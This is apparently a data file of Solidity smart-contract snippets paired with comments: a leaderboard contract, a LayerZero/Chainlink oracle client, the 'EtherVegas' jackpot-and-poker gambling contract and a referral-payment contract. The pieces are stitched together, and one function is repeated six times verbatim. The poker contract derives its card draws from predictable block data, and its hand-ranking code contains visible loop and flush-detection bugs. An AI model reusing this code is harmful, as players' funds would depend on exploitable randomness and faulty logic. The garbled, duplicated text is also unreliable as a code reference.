boards[boardHash].players[playerID].score_unconfirmed = score;
return true;
}
/// @notice Confirm an unconfirmed score to leaderboard/player. Adds unconfirmed to existing score. Player can not confirm his own score
/// @param boardHash The hash of the leaderboard
/// @param playerName The name of the player who's score should be confirmed
/// @return true/false
function confirmBoardScore(bytes32 boardHash, bytes32 playerName) public returns (bool){
uint8 playerID = getPlayerId (boardHash, playerName, 0);
uint8 confirmerID = getPlayerId (boardHash, "", msg.sender);
require(playerID < 255); // player needs to be active
require(confirmerID < 255); // confirmer needs to be active
require(boards[boardHash].players[playerID].playerAddress != msg.sender); //confirm only other players
boards[boardHash].players[playerID].score += boards[boardHash].players[playerID].score_unconfirmed;
boards[boardHash].players[playerID].score_unconfirmed = 0;
return true;
}
/**
Migration Functions
*/
/// @notice Read board metadata for migration as contract owner only
/// @param boardHash The hash of the leaderboard
/// @return Bord metadata
function migrationGetBoard(bytes32 boardHash) constant isOwner public returns(bytes32,string,uint,address) {
return (boards[boardHash].boardName, boards[boardHash].boardDescription, boards[boardHash].numPlayers, boards[boardHash].boardOwner);
}
/// @notice Write board metadata for migration as contract owner only
/// @param boardHash The hash of the leaderboard to be modified
/// @param name The new name of the leaderboard
/// @param boardDescription The new subtitle for the leaderboard
/// @param boardOwner The address for the boardowner
/// @return true
function migrationSetBoard(bytes32 boardHash, bytes32 name, string boardDescription, uint8 numPlayers, address boardOwner) isOwner public returns(bool) {
boards[boardHash].boardName = name;
boards[boardHash].boardDescription = boardDescription;
boards[boardHash].numPlayers = numPlayers;
boards[boardHash].boardOwner = boardOwner;
return true;
}
/// @notice Read player metadata for migration as contract owner
/// @param boardHash The hash of the leaderboard
/// @param playerID Index number of the player
/// @return Player metadata
function migrationGetPlayer(bytes32 boardHash, uint8 playerID) constant isOwner public returns (uint, bytes32, address, uint, uint, uint){
Player storage p = boards[boardHash].players[playerID];
return (playerID, p.playerName, p.playerAddress, p.score, p.score_unconfirmed, p.isActive);
}
/// @notice Write player metadata for migration as contract owner only
/// @param boardHash The hash of the leaderboard
/// @param playerID Player ID
/// @param playerName Player name
/// @param playerAddress Player address
/// @param score Player score
/// @param score_unconfirmed Player unconfirmed score
/// @param isActive Player isActive
/// @return true
function migrationSetPlayer(bytes32 boardHash, uint playerID, bytes32 playerName, address playerAddress, uint score, uint score_unconfirmed, uint isActive) isOwner public returns (bool) {
Board storage g = boards[boardHash];
g.players[playerID] = Player(playerName, playerAddress, score, score_unconfirmed, isActive);
return true;
}
}
|
@notice Get the metadata of a leaderboard @param boardHash The hash of the leaderboard @return Leaderboard name, description and number of players
|
function getBoardByHash(bytes32 boardHash) constant public returns(bytes32,string,uint){
return (boards[boardHash].boardName, boards[boardHash].boardDescription, boards[boardHash].numPlayers);
}
| 4,814,319
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./partial_match/1/0x521DF2a0D6cfeb304f488237d2C97Ef70e232055/sources/StdReferenceTick.sol
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storage 31|3|(timeOffset(18)+tick(19))*6|
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mapping(uint256 => uint256) public refs;
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pragma solidity ^0.8.0;
import "../vendor/v0.8/Ownable.sol";
import "../vendor/v0.8/IERC20.sol";
import "../vendor/v0.8/SafeERC20.sol";
import "../vendor/v0.8/ReentrancyGuard.sol";
import "../vendor/v0.8/SafeMath.sol";
import "../vendor/v0.8/Initializable.sol";
import "../vendor/v0.8/OwnableUpgradeable.sol";
import "../vendor/v0.8/Proxied.sol";
import "../vendor/v0.8/ReentrancyGuard.sol";
import "../Oracle/ChainlinkClient.sol";
import "../interfaces/ILayerZeroOracle.sol";
import "../interfaces/ILayerZeroUltraLightNodeV1.sol";
contract ChainlinkOracleClient is ILayerZeroOracle, ChainlinkClient, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
struct Job {
address oracle;
bytes32 id;
uint fee;
uint calledInBlock;
}
struct CachedAddressString {
bool cached;
string addressString;
}
uint public calledInBlock;
mapping(uint16 => Job) public jobs;
uint16 public immutable endpointId; // my local endpointId
ILayerZeroUltraLightNodeV1 public uln;
mapping(address => bool) public approvedAddresses;
mapping(uint16 => mapping(uint16 => uint)) public chainPriceLookup;
// dstChainId => "0x" prefixed address where updateHash called on dst
mapping(uint16 => CachedAddressString) public deliveryAddressLookup;
event Result(bytes32 requestId, bytes32 result);
event WithdrawTokens(address token, address to, uint amount);
event Withdraw(address to, uint amount);
modifier onlyULN() {
require(msg.sender == address(uln), "OracleClient: caller must be LayerZero.");
_;
}
// create this contract with the LINK token address for the local chain
constructor(address _linkAddress, uint16 _endpointId) {
setChainlinkToken(_linkAddress);
endpointId = _endpointId;
approvedAddresses[msg.sender] = true;
}
// only approved
function updateHash(uint16 _remoteChainId, bytes32 _blockHash, uint _confirmations, bytes32 _data) external {
require(approvedAddresses[msg.sender], "Oracle: caller must be approved");
uln.updateHash(_remoteChainId, _blockHash, _confirmations, _data);
}
// LayerZero will call this function to initiate the Chainlink oracle
function notifyOracle(uint16 _dstChainId, uint16 _outboundProofType, uint64 _outboundBlockConfirmations) external override onlyULN {
Job storage job = jobs[_dstChainId];
if (job.calledInBlock < block.number) {
Chainlink.Request memory req = buildChainlinkRequest(job.id, address(this), this.fulfillNotificationOfBlock.selector);
// send this source sides endpointId. when cl delivers it on the remote,
// it makes sense they use the variable named "remoteChainId" from that side.
Chainlink.addUint(req, "remoteChainId", endpointId);
Chainlink.addUint(req, "libraryVersion", uint(_outboundProofType));
require(deliveryAddressLookup[_dstChainId].cached, "ChainlinkOracleClient: no deliveryAddressLookup for _dstChainId");
Chainlink.add(req, "contractAddress", deliveryAddressLookup[_dstChainId].addressString);
Chainlink.addUint(req, "confirmations", _outboundBlockConfirmations);
sendChainlinkRequestTo(job.oracle, req, job.fee);
job.calledInBlock = block.number;
}
}
//---------------------------------------------------------------------------
// Owner calls, configuration only.
// owner can approve a token spender
function approveToken(address _token, address _spender, uint _amount) external onlyOwner {
IERC20 token = IERC20(_token);
token.safeApprove(_spender, _amount);
}
// owner can withdraw native
function withdraw(address payable _to, uint _amount) external onlyOwner nonReentrant {
(bool success,) = _to.call{value : _amount}("");
require(success, "OracleClient: failed to withdraw");
emit Withdraw(_to, _amount);
}
// owner can set uln
function setUln(address ulnAddress) external onlyOwner {
uln = ILayerZeroUltraLightNodeV1(ulnAddress);
}
// owner can withdraw tokens
function withdrawTokens(address _token, address _to, uint _amount) public onlyOwner {
IERC20(_token).safeTransfer(_to, _amount);
emit WithdrawTokens(_token, _to, _amount);
}
// uint8 public constant WITHDRAW_TYPE_ORACLE_QUOTED_FEES = 1;
// quoted fee refers to the fee in block relaying
function withdrawOracleQuotedFee(uint amount) external onlyOwner {
uln.withdrawNative(1, address(this), address(this), amount);
}
// set/update chainlink jobid data for oralces
function setJob(uint16 _chain, address _oracle, bytes32 _id, uint _fee) public onlyOwner {
jobs[_chain] = Job(_oracle, _id, _fee, block.number - 1);
}
// store the dstChainId "0x" prefixed address information
function setDeliveryAddress(uint16 _dstChainId, address _deliveryAddress) public onlyOwner {
deliveryAddressLookup[_dstChainId] = CachedAddressString(true, addr2str(_deliveryAddress));
}
function setPrice(uint16 _destinationChainId, uint16 _outboundProofType, uint _price) external onlyOwner {
chainPriceLookup[_outboundProofType][_destinationChainId] = _price;
}
// approve a signing address
function setApprovedAddress(address _oracleAddress, bool _approve) external onlyOwner {
approvedAddresses[_oracleAddress] = _approve;
}
//---------------------------------------------------------------------------
// view and helper functions
// chainlink callback function
function fulfillNotificationOfBlock(bytes32 _requestId, bytes32 _result) public recordChainlinkFulfillment(_requestId) {
emit Result(_requestId, _result);
}
// helper inside addr2str
// if necessary, converts utf8 numeric to alpha
function checkUtfUint8(uint8 _c) internal pure returns (uint8 _ret) {
_ret = _c;
if (_ret > 0x39) {
// its the a to f
_ret += 7;
}
}
// helper for addr2str
// split a bytes1 into its two 4 bit utf8 char ints
function byte2UtfInts(bytes1 _b) internal pure returns (uint8 _x, uint8 _y) {
_x = checkUtfUint8(0x30 + ((uint8(_b) >> 4) & 0x0f));
_y = checkUtfUint8(0x30 + ((uint8(_b)) & 0x0f));
}
// converts an address into a string prefixed with 0x
function addr2str(address _addr) public pure returns (string memory) {
bytes20 byts = bytes20(_addr);
bytes memory b = new bytes(42);
// the size is the answer to life, the universe, and everything
// put first bytes
uint j;
b[j++] = bytes1(0x30);
// "0"
b[j++] = bytes1(0x78);
// "x"
uint i;
uint8 x;
uint8 y;
for (; i < 20; ++i) {
(x, y) = byte2UtfInts(bytes1(byts[i]));
b[j++] = bytes1(x);
b[j++] = bytes1(y);
}
return string(b);
}
// not doing 0 cost
function getPrice(uint16 _destinationChainId, uint16 _outboundProofType) external view override returns (uint price) {
price = chainPriceLookup[_outboundProofType][_destinationChainId];
require(price > 0, "Chainlink Oracle: not supporting the (dstChain, libraryVersion)");
}
function isApproved(address _relayerAddress) public view override returns (bool) {
return approvedAddresses[_relayerAddress];
}
// be able to receive ether
fallback() external payable {}
receive() external payable {}
}
|
helper for addr2str split a bytes1 into its two 4 bit utf8 char ints
|
function byte2UtfInts(bytes1 _b) internal pure returns (uint8 _x, uint8 _y) {
_x = checkUtfUint8(0x30 + ((uint8(_b) >> 4) & 0x0f));
_y = checkUtfUint8(0x30 + ((uint8(_b)) & 0x0f));
}
| 12,807,092
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pragma solidity ^0.4.21;
// EtherVegas V3
// Updates: time is now a hard reset and is based on the price you buy with minimum
// Name feature introduced plus quotes [added to UI soon]
// Poker feature added, pays about ~4/25 of entire collected pot currently
// can be claimed multiple times (by other users). Last poker winner gets
// remaining pot when complete jackpot is paid out
// HOST: ethlasvegas.surge.sh
// Made by EtherGuy
// Questions or suggestions? etherguy@mail.com
contract RNG{
uint256 secret = 0;
// Thanks to TechnicalRise
// Ban contracts
modifier NoContract(){
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size == 0);
_;
}
function RNG() public NoContract{
secret = uint256(keccak256(block.coinbase));
}
function _giveRNG(uint256 modulo, uint256 secr) private view returns (uint256, uint256){
uint256 seed1 = uint256(block.coinbase);
uint256 seed3 = secr;
uint256 newsecr = (uint256(keccak256(seed1,seed3)));
return (newsecr % modulo, newsecr);
}
function GiveRNG(uint256 max) internal NoContract returns (uint256){
uint256 num;
uint256 newsecret = secret;
(num,newsecret) = _giveRNG(max, newsecret);
secret=newsecret;
return num;
}
}
contract Poker is RNG{
// warning; number 0 is a non-existing card; means empty;
uint8[5] public HouseCards;
mapping(address => uint8[2]) public PlayerCards;
mapping(address => uint256) public PlayerRound;
uint256 public RoundNumber;
uint8[6] public WinningHand; // tracks winning hand. ID 1 defines winning level (9=straight flush, 8=4 of a kind, etc) and other numbers
address public PokerWinner;
uint8[2] public WinningCards;
// define the other cards which might play in defining the winner.
function GetCardNumber(uint8 rank, uint8 suit) public pure returns (uint8){
if (rank==0){
return 0;
}
return ((rank-1)*4+1)+suit;
}
function GetPlayerRound(address who) public view returns (uint256){
return PlayerRound[who];
}
function GetCardInfo(uint8 n) public pure returns (uint8 rank, uint8 suit){
if (n==0){
return (0,0);
}
suit = (n-1)%4;
rank = (n-1)/4+1;
}
// event pushifo(uint8, uint8, uint8,uint8,uint8);
// resets game
function DrawHouse() internal {
// Draw table cards
uint8 i;
uint8 rank;
uint8 suit;
uint8 n;
for (i=0; i<5; i++){
rank = uint8(GiveRNG(13)+1);
suit = uint8(GiveRNG(4));
n = GetCardNumber(rank,suit);
HouseCards[i]=n;
}
uint8[2] storage target = PlayerCards[address(this)];
for (i=0; i<2; i++){
rank = uint8(GiveRNG(13)+1);
suit = uint8(GiveRNG(4));
n = GetCardNumber(rank,suit);
target[i]=n;
}
WinningHand = RankScore(address(this));
WinningCards=[target[0],target[1]];
PokerWinner= address(this);
}
event DrawnCards(address player, uint8 card1, uint8 card2);
function DrawAddr() internal {
uint8 tcard1;
uint8 tcard2;
for (uint8 i=0; i<2; i++){
uint8 rank = uint8(GiveRNG(13)+1);
uint8 suit = uint8(GiveRNG(4));
uint8 n = GetCardNumber(rank,suit);
if (i==0){
tcard1=n;
}
else{
tcard2=n;
}
PlayerCards[msg.sender][i]=n;
}
if (PlayerRound[msg.sender] != RoundNumber){
PlayerRound[msg.sender] = RoundNumber;
}
emit DrawnCards(msg.sender,tcard1, tcard2);
}
function GetPlayerCards(address who) public view NoContract returns (uint8, uint8){
uint8[2] memory target = PlayerCards[who];
return (target[0], target[1]);
}
function GetWinCards() public view returns (uint8, uint8){
return (WinningCards[0], WinningCards[1]);
}
// welp this is handy
struct Card{
uint8 rank;
uint8 suit;
}
// web
// function HandWinsView(address checkhand) view returns (uint8){
// return HandWins(checkhand);
//}
function HandWins(address checkhand) internal returns (uint8){
uint8 result = HandWinsView(checkhand);
uint8[6] memory CurrScore = RankScore(checkhand);
uint8[2] memory target = PlayerCards[checkhand];
if (result == 1){
WinningHand = CurrScore;
WinningCards= [target[0],target[1]];
PokerWinner=msg.sender;
// clear cards
//PlayerCards[checkhand][0]=0;
//PlayerCards[checkhand][1]=0;
}
return result;
}
// returns 0 if lose, 1 if win, 2 if equal
// if winner found immediately sets winner values
function HandWinsView(address checkhand) public view returns (uint8){
if (PlayerRound[checkhand] != RoundNumber){
return 0; // empty cards in new round.
}
uint8[6] memory CurrentWinHand = WinningHand;
uint8[6] memory CurrScore = RankScore(checkhand);
uint8 ret = 2;
if (CurrScore[0] > CurrentWinHand[0]){
return 1;
}
else if (CurrScore[0] == CurrentWinHand[0]){
for (uint i=1; i<=5; i++){
if (CurrScore[i] >= CurrentWinHand[i]){
if (CurrScore[i] > CurrentWinHand[i]){
return 1;
}
}
else{
ret=0;
break;
}
}
}
else{
ret=0;
}
// 2 is same hand. commented out in pay mode
// only winner gets pot.
return ret;
}
function RankScore(address checkhand) internal view returns (uint8[6] output){
uint8[4] memory FlushTracker;
uint8[14] memory CardTracker;
uint8 rank;
uint8 suit;
Card[7] memory Cards;
for (uint8 i=0; i<7; i++){
if (i>=5){
(rank,suit) = GetCardInfo(PlayerCards[checkhand][i-5]);
FlushTracker[suit]++;
CardTracker[rank]++;
Cards[i] = Card(rank,suit);
}
else{
(rank,suit) = GetCardInfo(HouseCards[i]);
FlushTracker[suit]++;
CardTracker[rank]++;
Cards[i] = Card(rank,suit);
}
}
uint8 straight = 0;
// skip all zero's
uint8[3] memory straight_startcard;
for (uint8 startcard=13; i>=5; i--){
if (CardTracker[startcard] >= 1){
for (uint8 currcard=startcard-1; currcard>=(startcard-4); currcard--){
if (CardTracker[currcard] >= 1){
if (currcard == (startcard-4)){
// at end, straight
straight_startcard[straight] = startcard;
straight++;
}
}
else{
break;
}
}
}
}
uint8 flush=0;
for (i=0;i<=3;i++){
if (FlushTracker[i]>=5){
flush=i;
break;
}
}
// done init.
// straight flush?
if (flush>0 && straight>0){
// someone has straight flush?
// level score 9
output[0] = 9;
currcard=0;
for (i=0; i<3; i++){
startcard=straight_startcard[i];
currcard=5; // track flush, num 5 is standard.
for (rank=0; i<7; i++){
if (Cards[i].suit == flush && Cards[i].rank <= startcard && Cards[i].rank>=(startcard-4)){
currcard--;
if (currcard==0){
break;
}
}
}
if (currcard==0){
// found straight flush high.
output[1] = straight_startcard[i]; // save the high card
break;
}
}
return output;
}
// high card
//reuse the rank variable to sum cards;
rank=0;
for (i=13;i>=1;i--){
rank = rank + CardTracker[i];
if (CardTracker[i] >= 4){
output[0] = 8; // high card
output[1] = i; // the type of card
return output;
}
if (rank >=4){
break;
}
}
// full house
rank=0; // track 3-kind
suit=0; // track 2-kind
startcard=0;
currcard=0;
for (i=13;i>=1;i--){
if (rank == 0 && CardTracker[i] >= 3){
rank = i;
}
else if(CardTracker[i] >= 2){
if (suit == 0){
suit = i;
}
else{
// double nice
if (startcard==0){
startcard=i;
}
}
}
}
if (rank != 0 && suit != 0){
output[0] = 7;
output[1] = rank; // full house tripple high
output[2] = suit; // full house tripple low
return output;
}
if (flush>0){
// flush
output[0] = 6;
output[1] = flush;
return output;
}
if (straight>0){
//straight
output[0] = 5;
output[1] = straight_startcard[0];
return output;
}
if (rank>0){
// tripple
output[0]=4;
output[1]=rank;
currcard=2; // track index;
// get 2 highest cards
for (i=13;i>=1;i--){
if (i != rank){
if (CardTracker[i] > 0){
// note at three of a kind we have no other doubles; all other ranks are different so no check > 1
output[currcard] = i;
currcard++;
if(currcard==4){
return output;
}
}
}
}
}
if (suit > 0 && startcard > 0){
// double pair
output[0] = 3;
output[1] = suit;
output[2] = startcard;
// get highest card
for (i=13;i>=1;i--){
if (i!=suit && i!=startcard && CardTracker[i]>0){
output[3]=i;
return output;
}
}
}
if (suit > 0){
// pair
output[0]=2;
output[1]=suit;
currcard=2;
// fill 3 other positions with high cards.
for (i=13;i>=1;i--){
if (i!=suit && CardTracker[i]>0){
output[currcard]=i;
currcard++;
if(currcard==5){
return output;
}
}
}
}
// welp you are here now, only have high card?
// boring
output[0]=1;
currcard=1;
for (i=13;i>=1;i--){
if (CardTracker[i]>0){
output[currcard]=i;
currcard++;
if (currcard==6){
return output;
}
}
}
}
}
contract Vegas is Poker{
address owner;
address public feesend;
uint256 public Timer;
uint8 constant MAXPRICEPOWER = 40; // < 255
address public JackpotWinner;
uint16 public JackpotPayout = 8000;
uint16 public PokerPayout = 2000;
uint16 public PreviousPayout = 6500;
uint16 public Increase = 9700;
uint16 public Tax = 500;
uint16 public PotPayout = 8000;
uint256 public BasePrice = (0.005 ether);
uint256 public TotalPot;
uint256 public PokerPayoutValue;
// mainnet
uint256[9] TimeArray = [uint256(6 hours), uint256(3 hours), uint256(2 hours), uint256(1 hours), uint256(50 minutes), uint256(40 minutes), uint256(30 minutes), uint256(20 minutes), uint256(15 minutes)];
// testnet
//uint256[3] TimeArray = [uint256(3 minutes), uint256(3 minutes), uint256(2 minutes)];
struct Item{
address Holder;
uint8 PriceID;
}
Item[16] public Market;
uint8 public MaxItems = 12; // max ID, is NOT index but actual max items to buy. 0 means really nothing, not 1 item
event ItemBought(uint256 Round, uint8 ID, uint256 Price, address BoughtFrom, address NewOwner, uint256 NewTimer, uint256 NewJP, string Quote, string Name);
// quotes here ?
event PokerPaid(uint256 Round, uint256 AmountWon, address Who, string Quote, string Name, uint8[6] WinHand);
event JackpotPaid(uint256 Round, uint256 Amount, address Who, string Quote, string Name);
event NewRound();
bool public EditMode;
bool public SetEditMode;
// dev functions
modifier OnlyOwner(){
require(msg.sender == owner);
_;
}
modifier GameClosed(){
require (block.timestamp > Timer);
_;
}
function Vegas() public{
owner=msg.sender;
feesend=0x09470436BD5b44c7EbDb75eEe2478eC172eAaBF6;
// withdraw also setups new game.
// pays out 0 eth of course to owner, no eth in contract.
Timer = 1; // makes sure withdrawal runs
Withdraw("Game init", "Admin");
}
// all contract calls are banned from buying
function Buy(uint8 ID, string Quote, string Name) public payable NoContract {
require(ID < MaxItems);
require(!EditMode);
// get price
//uint8 pid = Market[ID].PriceID;
uint256 price = GetPrice(Market[ID].PriceID);
require(msg.value >= price);
if (block.timestamp > Timer){
if (Timer != 0){ // timer 0 means withdraw is gone; withdraw will throw on 0
Withdraw("GameInit", "Admin");
return;
}
}
// return excess
if (msg.value > price){
msg.sender.transfer(msg.value-price);
}
uint256 PayTax = (price * Tax)/10000;
feesend.transfer(PayTax);
uint256 Left = (price-PayTax);
if (Market[ID].PriceID!=0){
// unzero, move to previous owner
uint256 pay = (Left*PreviousPayout)/10000;
TotalPot = TotalPot + (Left-pay);
// Left=Left-pay;
Market[ID].Holder.transfer(pay);
}
else{
TotalPot = TotalPot + Left;
}
// reset timer;
Timer = block.timestamp + GetTime(Market[ID].PriceID);
//set jackpot winner
JackpotWinner = msg.sender;
// give user new card;
emit ItemBought(RoundNumber,ID, price, Market[ID].Holder, msg.sender, Timer, TotalPot, Quote, Name);
DrawAddr(); // give player cards
// update price
Market[ID].PriceID++;
//set holder
Market[ID].Holder=msg.sender;
}
function GetPrice(uint8 id) public view returns (uint256){
uint256 p = BasePrice;
if (id > 0){
// max price baseprice * increase^20 is reasonable
for (uint i=1; i<=id; i++){
if (i==MAXPRICEPOWER){
break; // prevent overflow (not sure why someone would buy at increase^255)
}
p = (p * (10000 + Increase))/10000;
}
}
return p;
}
function PayPoker(string Quote, string Name) public NoContract{
uint8 wins = HandWins(msg.sender);
if (wins>0){
uint256 available_balance = (TotalPot*PotPayout)/10000;
uint256 payment = sub ((available_balance * PokerPayout)/10000 , PokerPayoutValue);
PokerPayoutValue = PokerPayoutValue + payment;
if (wins==1){
msg.sender.transfer(payment);
emit PokerPaid(RoundNumber, payment, msg.sender, Quote, Name, WinningHand);
}
/*
else if (wins==2){
uint256 pval = payment/2;
msg.sender.transfer(pval);
PokerWinner.transfer(payment-pval);// saves 1 wei error
emit PokerPaid(RoundNumber, pval, msg.sender, Quote, Name, WinningHand);
emit PokerPaid(RoundNumber, pval, msg.sender, "", "", WinningHand);
}*/
}
else{
// nice bluff mate
revert();
}
}
function GetTime(uint8 id) public view returns (uint256){
if (id >= TimeArray.length){
return TimeArray[TimeArray.length-1];
}
else{
return TimeArray[id];
}
}
//function Call() public {
// DrawHouse();
// }
// pays winner.
// also sets up new game
// winner receives lots of eth compared to gas so a small payment to gas is reasonable.
function Withdraw(string Quote, string Name) public NoContract {
_withdraw(Quote,Name,false);
}
// in case there is a revert bug in the poker contract
// allows winner to get paid without calling poker. should never be called
// follows all normal rules of game .
function WithdrawEmergency() public OnlyOwner{
_withdraw("Emergency withdraw call","Admin",true);
}
function _withdraw(string Quote, string Name, bool Emergency) NoContract internal {
// Setup cards for new game.
require(block.timestamp > Timer && Timer != 0);
Timer=0; // prevent re-entrancy immediately.
// send from this.balance
uint256 available_balance = (TotalPot*PotPayout)/10000;
uint256 bal = (available_balance * JackpotPayout)/10000;
JackpotWinner.transfer(bal);
emit JackpotPaid(RoundNumber, bal, JackpotWinner, Quote, Name);
// pay the last poker winner remaining poker pot.
bal = sub(sub(available_balance, bal),PokerPayoutValue);
if (bal > 0 && PokerWinner != address(this)){
// this only happens at start game, some wei error
if (bal > address(this).balance){
PokerWinner.transfer(address(this).balance);
}
else{
PokerWinner.transfer(bal);
}
emit PokerPaid(RoundNumber, bal, PokerWinner, "Paid out left poker pot", "Dealer", WinningHand);
}
TotalPot = address(this).balance;
// next poker pot starts at zero.
PokerPayoutValue= (TotalPot * PotPayout * PokerPayout)/(10000*10000);
// reset price
for (uint i=0; i<MaxItems; i++){
Market[i].PriceID=0;
}
if (!Emergency){
DrawHouse();
}
RoundNumber++;
// enable edit mode if set by dev.
EditMode=SetEditMode;
emit NewRound();
}
// dev edit functions below
function setEditModeBool(bool editmode) public OnlyOwner {
// start edit mode closes the whole game.
SetEditMode=editmode;
if (!editmode){
// enable game round.
EditMode=false;
}
}
function emergencyDropEth() public payable{
// any weird error might be solved by dropping eth (and no this is not even a scam, if contract needs a wei more, we send a wei, get funds out and fix contract)
}
function editTimer(uint8 ID, uint256 Time) public OnlyOwner GameClosed{
TimeArray[ID] = Time;
}
function editBasePrice(uint256 NewBasePrice) public OnlyOwner GameClosed{
BasePrice = NewBasePrice;
}
function editMaxItems(uint8 NewMax) public OnlyOwner GameClosed{
MaxItems = NewMax;
}
function editPayoutSetting(uint8 setting, uint16 newv) public OnlyOwner GameClosed{
require(setting > 0);
if (setting == 1){
require(newv <= 10000);
JackpotPayout = newv;
PokerPayout = 10000-newv;
}
else if (setting == 2){
require(newv <= 10000);
PokerPayout = newv;
JackpotPayout = 10000-newv;
}
else if (setting == 3){
require (newv <= 10000);
PreviousPayout = newv;
}
else if (setting == 4){
require(newv <= 30000);
Increase = newv;
}
else if (setting == 5){
require(newv <=10000);
PotPayout = newv;
}
else if (setting == 6){
require(newv < 700);
Tax = newv;
}
else{
revert();
}
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
full house tripple low
|
output[2] = suit;
| 7,307,423
|
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] |
./full_match/4/0xf09b986f6D4E9929d22885b6035deCBb86A01C15/sources/browser/Untitled.sol
|
to use anyother token(coin) for payment in-out that must be allowed by superadmin (owner) in other words if that coin address contains > 0 value in ether will be allowed means if validStableCoin[address] > 0 then can be used here network tree information ( user, parent, child-count, ref-count etc)
|
{
mapping(address => uint256) public validStableCoin;
struct userInfo
{
address payable user;
uint32 parentId;
uint32 referrerId;
uint8 childCount;
uint8 lastBoughtLevel;
uint16 referralCount;
uint128 levelExpiry;
uint32[] childIds;
}
struct etherOutPlan
{
bytes16 name;
uint8[] payoutType;
uint32[] payoutTo;
uint32[] payoutPercentage;
}
struct etherInPlan
{
bytes16 name;
}
mapping(uint256 => mapping (bool => etherInPlan[])) public etherInPlans;
mapping(uint256 => etherOutPlan[]) public etherOutPlans;
mapping(uint256 => mapping( uint256 => mapping( bool => mapping(uint256 => uint256)))) public poolAmount;
struct payInput
{
uint256 _networkId;
uint8 _planIndex;
uint32 _userId;
uint256 _paidAmount;
bool mainTree;
}
event doTransactionEv(uint256 timeNow, uint256 _networkId, address payable from, address payable to,uint256 amount,uint8 _planIndex, bool mainTree);
function doTransaction(uint256 _networkId, address payable from, address payable to,uint256 amount,uint8 _planIndex, bool mainTree, uint32 toUserId) internal returns(bool)
{
address _coinAddress = coinAddress[_networkId];
if(to != owner && from != address(0) && to != address(this))
{
if(userInfos[_networkId][_planIndex][mainTree][toUserId].levelExpiry < now) to = networkOwner[_networkId];
}
if(_coinAddress == address(0))
{
if(to != address(this)) to.transfer(amount);
}
else
{
if(from != address(0))
{
require( stableCoin(_coinAddress).transferFrom(from, address(this), amount),"token reveiving failed");
}
else
{
require( stableCoin(_coinAddress).transfer(to, amount),"token transfer failed");
}
}
emit doTransactionEv(now,_networkId,from,to,amount,_planIndex,mainTree);
return true;
}
function doTransaction(uint256 _networkId, address payable from, address payable to,uint256 amount,uint8 _planIndex, bool mainTree, uint32 toUserId) internal returns(bool)
{
address _coinAddress = coinAddress[_networkId];
if(to != owner && from != address(0) && to != address(this))
{
if(userInfos[_networkId][_planIndex][mainTree][toUserId].levelExpiry < now) to = networkOwner[_networkId];
}
if(_coinAddress == address(0))
{
if(to != address(this)) to.transfer(amount);
}
else
{
if(from != address(0))
{
require( stableCoin(_coinAddress).transferFrom(from, address(this), amount),"token reveiving failed");
}
else
{
require( stableCoin(_coinAddress).transfer(to, amount),"token transfer failed");
}
}
emit doTransactionEv(now,_networkId,from,to,amount,_planIndex,mainTree);
return true;
}
function doTransaction(uint256 _networkId, address payable from, address payable to,uint256 amount,uint8 _planIndex, bool mainTree, uint32 toUserId) internal returns(bool)
{
address _coinAddress = coinAddress[_networkId];
if(to != owner && from != address(0) && to != address(this))
{
if(userInfos[_networkId][_planIndex][mainTree][toUserId].levelExpiry < now) to = networkOwner[_networkId];
}
if(_coinAddress == address(0))
{
if(to != address(this)) to.transfer(amount);
}
else
{
if(from != address(0))
{
require( stableCoin(_coinAddress).transferFrom(from, address(this), amount),"token reveiving failed");
}
else
{
require( stableCoin(_coinAddress).transfer(to, amount),"token transfer failed");
}
}
emit doTransactionEv(now,_networkId,from,to,amount,_planIndex,mainTree);
return true;
}
function doTransaction(uint256 _networkId, address payable from, address payable to,uint256 amount,uint8 _planIndex, bool mainTree, uint32 toUserId) internal returns(bool)
{
address _coinAddress = coinAddress[_networkId];
if(to != owner && from != address(0) && to != address(this))
{
if(userInfos[_networkId][_planIndex][mainTree][toUserId].levelExpiry < now) to = networkOwner[_networkId];
}
if(_coinAddress == address(0))
{
if(to != address(this)) to.transfer(amount);
}
else
{
if(from != address(0))
{
require( stableCoin(_coinAddress).transferFrom(from, address(this), amount),"token reveiving failed");
}
else
{
require( stableCoin(_coinAddress).transfer(to, amount),"token transfer failed");
}
}
emit doTransactionEv(now,_networkId,from,to,amount,_planIndex,mainTree);
return true;
}
function doTransaction(uint256 _networkId, address payable from, address payable to,uint256 amount,uint8 _planIndex, bool mainTree, uint32 toUserId) internal returns(bool)
{
address _coinAddress = coinAddress[_networkId];
if(to != owner && from != address(0) && to != address(this))
{
if(userInfos[_networkId][_planIndex][mainTree][toUserId].levelExpiry < now) to = networkOwner[_networkId];
}
if(_coinAddress == address(0))
{
if(to != address(this)) to.transfer(amount);
}
else
{
if(from != address(0))
{
require( stableCoin(_coinAddress).transferFrom(from, address(this), amount),"token reveiving failed");
}
else
{
require( stableCoin(_coinAddress).transfer(to, amount),"token transfer failed");
}
}
emit doTransactionEv(now,_networkId,from,to,amount,_planIndex,mainTree);
return true;
}
function doTransaction(uint256 _networkId, address payable from, address payable to,uint256 amount,uint8 _planIndex, bool mainTree, uint32 toUserId) internal returns(bool)
{
address _coinAddress = coinAddress[_networkId];
if(to != owner && from != address(0) && to != address(this))
{
if(userInfos[_networkId][_planIndex][mainTree][toUserId].levelExpiry < now) to = networkOwner[_networkId];
}
if(_coinAddress == address(0))
{
if(to != address(this)) to.transfer(amount);
}
else
{
if(from != address(0))
{
require( stableCoin(_coinAddress).transferFrom(from, address(this), amount),"token reveiving failed");
}
else
{
require( stableCoin(_coinAddress).transfer(to, amount),"token transfer failed");
}
}
emit doTransactionEv(now,_networkId,from,to,amount,_planIndex,mainTree);
return true;
}
function() external payable
{
revert();
}
function checkAmount(uint256 amount, uint256 price, address _coinAddress ) public view returns (bool)
{
